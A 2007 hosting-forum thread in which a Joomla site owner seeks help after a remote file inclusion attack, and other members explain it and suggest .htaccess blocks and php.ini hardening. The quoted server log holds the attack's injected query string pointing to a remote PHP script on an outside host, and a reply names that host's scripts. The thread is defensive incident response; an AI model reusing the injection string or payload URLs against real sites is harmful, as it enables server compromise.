Web Hosting Forum | Lunarpages
News: July 14, 2008 - New Contest! - Submit Your WordPress Theme Designs, Win BIG!
August 25, 2008 - Time to Vote for the August 2008 Site of the Month!
 
*
Welcome, Guest. Please login or register.
Did you miss your activation email?
August 29, 2008, 01:51:20 PM


Login with username, password and session length


Pages: [1]   Go Down
  Print  
Author Topic: Website disabled can you guys help me to find the problems?  (Read 425 times)
dartagnan
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« on: October 02, 2007, 02:25:53 PM »

Hi guys, here is the email I received this morning frm the tech at lunarpages
Quote
I have disabled your index.php page being exploited.There is a redirect there.More details bellow:
DOCUMENT_ROOT=/home/asian23/public_html
HTTP_CONNECTION=close
HTTP_HOST=www.planet-asia.net
HTTP_USER_AGENT=libwww-perl/5.79
PATH=/bin:/usr/bin
REDIRECT_QUERY_STRING=mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f
REDIRECT_STATUS=200
REDIRECT_URL=/mambots/content/plugin_jw_ajaxvote/js//plugin_jw_ajaxvote/ajax.php
REMOTE_ADDR=211.129.152.113
REMOTE_PORT=48713
SCRIPT_FILENAME=/home/asian23/public_html/index.php
SERVER_ADDR=209.200.238.20
SERVER_ADMIN=webmaster@planet-asia.net
SERVER_NAME=www.planet-asia.net
SERVER_PORT=80
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.37 Server at www.planet-asia.net Port 80</ADDRESS>
SERVER_SOFTWARE=Apache Webserver
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f
REQUEST_URI=/mambots/content/plugin_jw_ajaxvote/js//plugin_jw_ajaxvote/ajax.php?mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f
SCRIPT_NAME=/index.php
PATH_TRANSLATED=/home/asian23/public_html/index.php
PHPRC=/home/asian23/public_html
Please notice that you had perl processes in top for your user and that indicates your script is compromised.Please update all your 3rd party scripts and let us know how to proceed.
17948 asian23 25 0 5760 3900 1036 R 93 0.0 91:32.22 perl
15654 asian23 25 0 6176 3900 1036 R 76 0.0 91:04.65 perl
15463 asian23 25 0 5984 3860 1004 R 74 0.0 180:14.74 perl
15506 asian23 25 0 5960 3856 1004 R 71 0.0 180:58.06 perl

This "/mambots/content/plugin_jw_ajaxvote/" does not exist on my sever, but I had tried to install this mambot for joomla a few months ago and removed it. So how to find this redirect and this perl process?
How to get things going the most rapidly possible?
I have already updated joomla and coppermine to last versions, but not sure I removed the hacks. Also can I be sure these hacks were added just this morning ( I have a backup from yesterday).
Just trying my luck here since I replied to my ticket...
thanks for any help
XaV

edit: searched whole backup (from yesterday and today) for .pl files and just found the normal ones inside my content editor so it should be fine?
« Last Edit: October 02, 2007, 03:04:39 PM by dartagnan » Logged

Planet Asia Write and learn about traditions and culture of Asia in our community
YooVibes The new dynamic online WebZine
dartagnan
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« Reply #1 on: October 02, 2007, 06:27:29 PM »

Any help guys? please
This is now 6h15 minutes that I replied to the tech person at lunardesk.
I think these should be answered more rapidly when our website is not online  Crying or Very sad.
So far I have done the following: in my whole website I found only a few .pl files, all in FCK editor mambot. I removed FCK editor totally although these were normal .pl files.  I erased and installed the very last version of coppermine and also replaced the files to go from 1.0.12 joomla to 1.0.13 .
I removed a few superfluous modules that I had and did not use. I also changed my account password.
What else can I do and if this is enough, could you enable my index.php file again please?
thanks a lot for any help
XaV
Logged

Planet Asia Write and learn about traditions and culture of Asia in our community
YooVibes The new dynamic online WebZine
TranzNDance
Princess of Naboo
Berserker Poster
*****
Offline Offline

Posts: 11809



WWW
« Reply #2 on: October 02, 2007, 07:10:34 PM »

The ticket specifically mentions index.php. What file is that? Is it this one? http://209.85.135.104/search?q=cache:hml_PwImfroJ:www.planet-asia.net/+site:planet-asia.net/&hl=en&ct=clnk&cd=1

What application is it running?

Something to do is look up how to block bad bots, like the libwww-perl user agent. I've blocked it and I still see (failed) attempts to exploit my site. It's not a perfect solution since they can change the user agent, but it blocks the obvious stuff.
« Last Edit: October 02, 2007, 07:12:30 PM by TranzNDance » Logged

Grr..!! Luff Ya Grr..!! Luff Ya Grr..!! Luff Ya
dartagnan
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« Reply #3 on: October 02, 2007, 07:25:54 PM »

Thanks for your answer
well index.php is the main index.php of joomla
But since it is disabled I can't look at it, replace it or whatever..... permissions 000 But I think it is rather something that index.php file refers to that is loaded on the website and responsible.  But yes you are right, your link is the frontpage of my website (not exactly the last version though).
You mentionned how to block libwww-perl user agent bot. Could you let me know how to block it ? I guess this should be enough until I look further into everyting.

Edit : I did the following :
Quote
SetEnvIfNoCase User-Agent "^libwww-perl*" block_bad_bots
Deny from env=block_bad_bots
I added this to the .htaccess in public_html
But I also saw
Quote
RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]
Is this what I should do?
So could you explain a bit further please. are this pearl scripts introduced on my website and then they help to exploit it by using this libwww-perl?
Or just the bot probes my website and that is enough? If the first is right then why can't I find any .pl file in my whole website?

Thanks again
(and should I explain all that in my ticket? I know replying would make it go further down in terms or priority and it is not yet replied...)
« Last Edit: October 02, 2007, 07:50:12 PM by dartagnan » Logged

Planet Asia Write and learn about traditions and culture of Asia in our community
YooVibes The new dynamic online WebZine
dartagnan
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« Reply #4 on: October 02, 2007, 09:26:05 PM »

Ok In addition to all this change in .htaccess,
I have used a file found on joomla website that makes a list of all my files and dates of last modifications. I removed all files changed between the last time I logged in at 8am and the moment I received the tech response at 10h30am. And even more of the files modified in the night before.
Still waiting for tech reply...

edit: no reply from tech ticket for 10 hours, I think I will open a ticket myself maybe if the tech started the ticket it is less efficient?
If we are sure that what I did is not good enough and that the modification is posterior to monday to tuesday night, then I can put the whole backup from  monday (files... + database?)
thanks
« Last Edit: October 02, 2007, 10:11:06 PM by dartagnan » Logged

Planet Asia Write and learn about traditions and culture of Asia in our community
YooVibes The new dynamic online WebZine
TranzNDance
Princess of Naboo
Berserker Poster
*****
Offline Offline

Posts: 11809



WWW
« Reply #5 on: October 02, 2007, 10:06:34 PM »

Thanks for your answer
well index.php is the main index.php of joomla
But since it is disabled I can't look at it, replace it or whatever..... permissions 000 But I think it is rather something that index.php file refers to that is loaded on the website and responsible.  But yes you are right, your link is the frontpage of my website (not exactly the last version though).
You mentionned how to block libwww-perl user agent bot. Could you let me know how to block it ? I guess this should be enough until I look further into everyting.

Edit : I did the following :
Quote
SetEnvIfNoCase User-Agent "^libwww-perl*" block_bad_bots
Deny from env=block_bad_bots
I added this to the .htaccess in public_html
But I also saw
Quote
RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]
Is this what I should do?
So could you explain a bit further please. are this pearl scripts introduced on my website and then they help to exploit it by using this libwww-perl?
Or just the bot probes my website and that is enough? If the first is right then why can't I find any .pl file in my whole website?

Thanks again
(and should I explain all that in my ticket? I know replying would make it go further down in terms or priority and it is not yet replied...)
The first one would work, since that is the same one I use on my site. Smile

The bad files that enabled the hack don't need to be on your website. You can see in the logs that the bad stuff is hosted elsewhere. If a script isn't properly written to prevent it from accepting and processing content from anywhere, then it is vulnerable to getting, well, p0wned. Sad
Logged

Grr..!! Luff Ya Grr..!! Luff Ya Grr..!! Luff Ya
dartagnan
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« Reply #6 on: October 02, 2007, 10:27:33 PM »

Ok so if it came from elsewhere, my update to the last joomla and coppermine as well as this change in.htaccess should be fine
Sorry I couldn't read these information he sent me very well.

When I see this what should I understand?
Quote
REDIRECT_QUERY_STRING=mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f
REDIRECT_STATUS=200
REDIRECT_URL=/mambots/content/plugin_jw_ajaxvote/js//plugin_jw_ajaxvote/ajax.php
the redirect url looks like a joomla mambot, but I don't have it installed, this filepath does not correspond to anything on my website.

Now I hope the tech will see my answer and reply, please mister tech, maybe what I did isn't enough but at least reply!  Crying or Very sad...
(well probably he doesn't see this but hopefully someone from lunarpages team that sees this post can remind him or something)

Anyway thanks a lot for your help  Applause
Logged

Planet Asia Write and learn about traditions and culture of Asia in our community
YooVibes The new dynamic online WebZine
SteveW
Master Jedi
*****
Offline Offline

Posts: 1394


WWW
« Reply #7 on: October 03, 2007, 02:02:55 AM »

Quote
REDIRECT_QUERY_STRING=mosConfig_absolute_path=http://prvib.braindead.hu/rang.txt%3f%3f

If you check your logs, you'll probably find a request somewhere that looks something like
/index.php?inc=hxxp://prvib.braindead.hu/rang.txt%3f%3f

rang.txt is a .txt file (a PHP script) that you can view in your browser. (hxxp://prvib.braindead.hu/rang.txt -- change xx to tt) PC-cillin identifies it as a dangerous website, of course, but viewing the file is (at this moment, anyway) "safe", being a text file. The remote site could do a port scan of any IP that makes a request, and attempt to do bad things, but nothing of that sort appeared in my firewall log. If you don't use AV/firewall, don't go visiting sites like that one.

When your page loaded, that rang.txt script was included into the page, and it ran.
It, in turn, loaded hxxp://prvib.braindead.hu/pvt.txt, which is a perl script (also safe to view in browser), and that ran, too.

In your php.ini file, set

allow_url_fopen = Off

Which will prevent that type of attack.
So will blocking libwww-perl in many instances, as TranzNDance said.
The more layers of protection, the better.

Edit:
Here's yet another layer. This one goes in .htaccess. It blocks any request containing a query string that contains either =http:// or =ftp:// . You cannot use this if you yourself use query strings having this format. If you upgrade scripts by an automated method, such as the SMF Package Manager, enable the exception line below (allowing yourself) before you begin the upgrade process, or it will fail.

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself when doing SMF Package Manager upgrades.
# Enable the next line and set it to your IP address at that moment.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* - [F,L]
« Last Edit: October 03, 2007, 05:40:47 PM by SteveW » Logged





Mt. Shasta
photo gallery.


Don't forget Lunarpages 24/7/365 support documentation:
Flash Tutorials, Knowledge Base FAQ Articles, cPanel Manual, Glossary/Dictionary, Support Tickets,
and
Forum Search.

Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.3 | SMF © 2006-2007, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks


Valid XHTML 1.0! Valid CSS! Dilber MC Theme by HarzeM